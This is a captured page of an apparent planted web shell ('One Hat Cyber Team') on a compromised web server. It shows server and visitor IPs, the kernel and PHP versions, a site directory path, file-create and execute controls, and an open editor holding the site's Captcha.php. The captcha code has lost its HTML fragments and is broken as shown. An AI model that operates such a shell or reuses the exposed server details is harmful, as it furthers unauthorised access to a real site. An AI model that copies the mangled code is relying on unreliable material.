⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.142
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
plus.gsm.com.ng
/
application
/
app
/
Lib
/
Edit File: Captcha.php
where('status', 1)->first(); return $reCaptcha ? $reCaptcha->generateScript() : null; } /** * Custom captcha script * * @return string */ public static function customCaptcha($width = '100%', $height = 46, $bgColor = '#003'){ $textColor = '#'.gs()->base_color; $captcha = Extension::where('act', 'custom-captcha')->where('status', 1)->first(); if (!$captcha) { return 0; } $code = rand(100000, 999999); $char = str_split($code); $ret = '
'; $ret .= '
'; foreach ($char as $value) { $ret .= '
' . $value . '
'; } $ret .= '
'; $captchaSecret = hash_hmac('sha256', $code, $captcha->shortcode->random_key->value); $ret .= '
'; return $ret; } /** * Verify all captcha * * @return boolean */ public static function verify(){ $gCaptchaPass = self::verifyGoogleCaptcha(); $cCaptchaPass = self::verifyCustomCaptcha(); if ($gCaptchaPass && $cCaptchaPass) { return true; } return false; } /** * Verify google recaptcha2 * * @return boolean */ public static function verifyGoogleCaptcha(){ $pass = true; $googleCaptcha = Extension::where('act', 'google-recaptcha2')->where('status', 1)->first(); if ($googleCaptcha) { $resp = json_decode(file_get_contents("https://www.google.com/recaptcha/api/siteverify?secret=".$googleCaptcha->shortcode->secret_key->value."&response=".request()['g-recaptcha-response']."&remoteip=".getRealIP()), true); if (!$resp['success']) { $pass = false; } } return $pass; } /** * Verify custom captcha * * @return boolean */ public static function verifyCustomCaptcha(){ $pass = true; $customCaptcha = Extension::where('act', 'custom-captcha')->where('status', 1)->first(); if ($customCaptcha) { $captchaSecret = hash_hmac('sha256', request()->captcha, $customCaptcha->shortcode->random_key->value); if ($captchaSecret != request()->captcha_secret) { $pass = false; } } return $pass; } }
Simpan